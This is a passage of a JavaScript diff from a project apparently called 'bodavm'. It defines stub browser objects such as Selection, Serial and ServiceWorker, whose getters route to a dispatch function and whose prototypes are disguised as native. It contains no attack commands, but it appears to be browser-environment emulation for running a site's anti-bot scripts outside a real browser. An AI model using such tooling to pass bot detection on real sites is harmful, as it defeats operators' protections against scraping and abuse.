; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SecurityPolicyViolationEvent'], "SecurityPolicyViolationEvent"); +bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['SecurityPolicyViolationEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "documentURI", { + configurable: true, + enumerable: true, + get: function documentURI() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "documentURI_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "referrer", { + configurable: true, + enumerable: true, + get: function referrer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "referrer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "blockedURI", { + configurable: true, + enumerable: true, + get: function blockedURI() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "blockedURI_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "violatedDirective", { + configurable: true, + enumerable: true, + get: function violatedDirective() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "violatedDirective_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "effectiveDirective", { + configurable: true, + enumerable: true, + get: function effectiveDirective() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "effectiveDirective_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "originalPolicy", { + configurable: true, + enumerable: true, + get: function originalPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "originalPolicy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "disposition", { + configurable: true, + enumerable: true, + get: function disposition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "disposition_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "sourceFile", { + configurable: true, + enumerable: true, + get: function sourceFile() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "sourceFile_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "statusCode", { + configurable: true, + enumerable: true, + get: function statusCode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "statusCode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "lineNumber", { + configurable: true, + enumerable: true, + get: function lineNumber() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "lineNumber_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "columnNumber", { + configurable: true, + enumerable: true, + get: function columnNumber() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "columnNumber_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "sample", { + configurable: true, + enumerable: true, + get: function sample() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "sample_get", arguments); + }, + set: undefined +}, 'prototype'); +// Selection对象 + +bodavm.memory.globalobj['Selection'] = function Selection() { + console.log_copy('Selection 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Selection)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Selection'], "Selection"); +bodavm.toolsFunc.defineProperty('Selection', "anchorNode", { + configurable: true, + enumerable: true, + get: function anchorNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "anchorNode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "anchorOffset", { + configurable: true, + enumerable: true, + get: function anchorOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "anchorOffset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "focusNode", { + configurable: true, + enumerable: true, + get: function focusNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "focusNode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "focusOffset", { + configurable: true, + enumerable: true, + get: function focusOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "focusOffset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "isCollapsed", { + configurable: true, + enumerable: true, + get: function isCollapsed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "isCollapsed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "rangeCount", { + configurable: true, + enumerable: true, + get: function rangeCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "rangeCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "baseNode", { + configurable: true, + enumerable: true, + get: function baseNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "baseNode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "baseOffset", { + configurable: true, + enumerable: true, + get: function baseOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "baseOffset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "extentNode", { + configurable: true, + enumerable: true, + get: function extentNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "extentNode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "extentOffset", { + configurable: true, + enumerable: true, + get: function extentOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "extentOffset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "addRange", { + configurable: true, + enumerable: true, + writable: true, + value: function addRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "addRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "collapse", { + configurable: true, + enumerable: true, + writable: true, + value: function collapse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "collapse", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "collapseToEnd", { + configurable: true, + enumerable: true, + writable: true, + value: function collapseToEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "collapseToEnd", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "collapseToStart", { + configurable: true, + enumerable: true, + writable: true, + value: function collapseToStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "collapseToStart", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "containsNode", { + configurable: true, + enumerable: true, + writable: true, + value: function containsNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "containsNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "deleteFromDocument", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteFromDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "deleteFromDocument", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "empty", { + configurable: true, + enumerable: true, + writable: true, + value: function empty() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "empty", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "extend", { + configurable: true, + enumerable: true, + writable: true, + value: function extend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "extend", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "getRangeAt", { + configurable: true, + enumerable: true, + writable: true, + value: function getRangeAt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "getRangeAt", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "modify", { + configurable: true, + enumerable: true, + writable: true, + value: function modify() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "modify", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "removeAllRanges", { + configurable: true, + enumerable: true, + writable: true, + value: function removeAllRanges() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "removeAllRanges", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "removeRange", { + configurable: true, + enumerable: true, + writable: true, + value: function removeRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "removeRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "selectAllChildren", { + configurable: true, + enumerable: true, + writable: true, + value: function selectAllChildren() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "selectAllChildren", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "setBaseAndExtent", { + configurable: true, + enumerable: true, + writable: true, + value: function setBaseAndExtent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "setBaseAndExtent", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "setPosition", { + configurable: true, + enumerable: true, + writable: true, + value: function setPosition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "setPosition", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Selection', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "toString", arguments); + } +}, 'prototype'); +// SensorErrorEvent对象 + +bodavm.memory.globalobj['SensorErrorEvent'] = function SensorErrorEvent() { + console.log_copy('SensorErrorEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SensorErrorEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SensorErrorEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SensorErrorEvent'], "SensorErrorEvent"); +bodavm.memory.globalobj['SensorErrorEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['SensorErrorEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('SensorErrorEvent', "error", { + configurable: true, + enumerable: true, + get: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SensorErrorEvent'].prototype, "SensorErrorEvent", "error_get", arguments); + }, + set: undefined +}, 'prototype'); +// Serial对象 + +bodavm.memory.globalobj['Serial'] = function Serial() { + console.log_copy('Serial 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Serial)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Serial'], "Serial"); +bodavm.memory.globalobj['Serial'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Serial'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Serial', "onconnect", { + configurable: true, + enumerable: true, + get: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "onconnect_get", arguments); + }, + set: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "onconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Serial', "ondisconnect", { + configurable: true, + enumerable: true, + get: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "ondisconnect_get", arguments); + }, + set: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "ondisconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Serial', "getPorts", { + configurable: true, + enumerable: true, + writable: true, + value: function getPorts() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "getPorts", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Serial', "requestPort", { + configurable: true, + enumerable: true, + writable: true, + value: function requestPort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Serial'].prototype, "Serial", "requestPort", arguments); + } +}, 'prototype'); +// SerialPort对象 + +bodavm.memory.globalobj['SerialPort'] = function SerialPort() { + console.log_copy('SerialPort 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SerialPort)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SerialPort'], "SerialPort"); +bodavm.memory.globalobj['SerialPort'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['SerialPort'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('SerialPort', "onconnect", { + configurable: true, + enumerable: true, + get: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "onconnect_get", arguments); + }, + set: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "onconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SerialPort', "ondisconnect", { + configurable: true, + enumerable: true, + get: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "ondisconnect_get", arguments); + }, + set: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "ondisconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SerialPort', "readable", { + configurable: true, + enumerable: true, + get: function readable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "readable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SerialPort', "writable", { + configurable: true, + enumerable: true, + get: function writable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "writable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SerialPort', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SerialPort', "forget", { + configurable: true, + enumerable: true, + writable: true, + value: function forget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "forget", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SerialPort', "getInfo", { + configurable: true, + enumerable: true, + writable: true, + value: function getInfo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "getInfo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SerialPort', "getSignals", { + configurable: true, + enumerable: true, + writable: true, + value: function getSignals() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "getSignals", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SerialPort', "open", { + configurable: true, + enumerable: true, + writable: true, + value: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "open", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SerialPort', "setSignals", { + configurable: true, + enumerable: true, + writable: true, + value: function setSignals() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SerialPort'].prototype, "SerialPort", "setSignals", arguments); + } +}, 'prototype'); +// ServiceWorker对象 + +bodavm.memory.globalobj['ServiceWorker'] = function ServiceWorker() { + console.log_copy('ServiceWorker 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ServiceWorker)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ServiceWorker'], "ServiceWorker"); +bodavm.memory.globalobj['ServiceWorker'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['ServiceWorker'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('ServiceWorker', "scriptURL", { + configurable: true, + enumerable: true, + get: function scriptURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "scriptURL_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorker', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorker', "onstatechange", { + configurable: true, + enumerable: true, + get: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "onstatechange_get", arguments); + }, + set: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "onstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorker', "postMessage", { + configurable: true, + enumerable: true, + writable: true, + value: function postMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "postMessage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorker', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorker'].prototype, "ServiceWorker", "onerror_set", arguments); + } +}, 'prototype'); +// ServiceWorkerContainer对象 + +bodavm.memory.globalobj['ServiceWorkerContainer'] = function ServiceWorkerContainer() { + console.log_copy('ServiceWorkerContainer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ServiceWorkerContainer)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ServiceWorkerContainer'], "ServiceWorkerContainer"); +bodavm.memory.globalobj['ServiceWorkerContainer'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['ServiceWorkerContainer'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "controller", { + configurable: true, + enumerable: true, + get: function controller() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "controller_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "ready", { + configurable: true, + enumerable: true, + get: function ready() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "ready_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "oncontrollerchange", { + configurable: true, + enumerable: true, + get: function oncontrollerchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "oncontrollerchange_get", arguments); + }, + set: function oncontrollerchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "oncontrollerchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "onmessageerror", { + configurable: true, + enumerable: true, + get: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "onmessageerror_get", arguments); + }, + set: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "onmessageerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "getRegistration", { + configurable: true, + enumerable: true, + writable: true, + value: function getRegistration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "getRegistration", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "getRegistrations", { + configurable: true, + enumerable: true, + writable: true, + value: function getRegistrations() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "getRegistrations", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "register", { + configurable: true, + enumerable: true, + writable: true, + value: function register() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "register", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerContainer', "startMessages", { + configurable: true, + enumerable: true, + writable: true, + value: function startMessages() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerContainer'].prototype, "ServiceWorkerContainer", "startMessages", arguments); + } +}, 'prototype'); +// ServiceWorkerRegistration对象 + +bodavm.memory.globalobj['ServiceWorkerRegistration'] = function ServiceWorkerRegistration() { + console.log_copy('ServiceWorkerRegistration 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ServiceWorkerRegistration)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ServiceWorkerRegistration'], "ServiceWorkerRegistration"); +bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['ServiceWorkerRegistration'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "installing", { + configurable: true, + enumerable: true, + get: function installing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "installing_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "waiting", { + configurable: true, + enumerable: true, + get: function waiting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "waiting_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "active", { + configurable: true, + enumerable: true, + get: function active() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "active_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "navigationPreload", { + configurable: true, + enumerable: true, + get: function navigationPreload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "navigationPreload_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "scope", { + configurable: true, + enumerable: true, + get: function scope() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "scope_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "updateViaCache", { + configurable: true, + enumerable: true, + get: function updateViaCache() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "updateViaCache_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "onupdatefound", { + configurable: true, + enumerable: true, + get: function onupdatefound() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "onupdatefound_get", arguments); + }, + set: function onupdatefound() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "onupdatefound_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "unregister", { + configurable: true, + enumerable: true, + writable: true, + value: function unregister() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "unregister", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "update", { + configurable: true, + enumerable: true, + writable: true, + value: function update() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "update", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "paymentManager", { + configurable: true, + enumerable: true, + get: function paymentManager() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "paymentManager_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ServiceWorkerRegistration', "backgroundFetch", { + configurable: true, + enumerable: true, + get: function backgroundFetch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ServiceWorkerRegistration'].prototype, "ServiceWorkerRegistration", "backgroundFetch_get", arguments); + }, + set: undefined 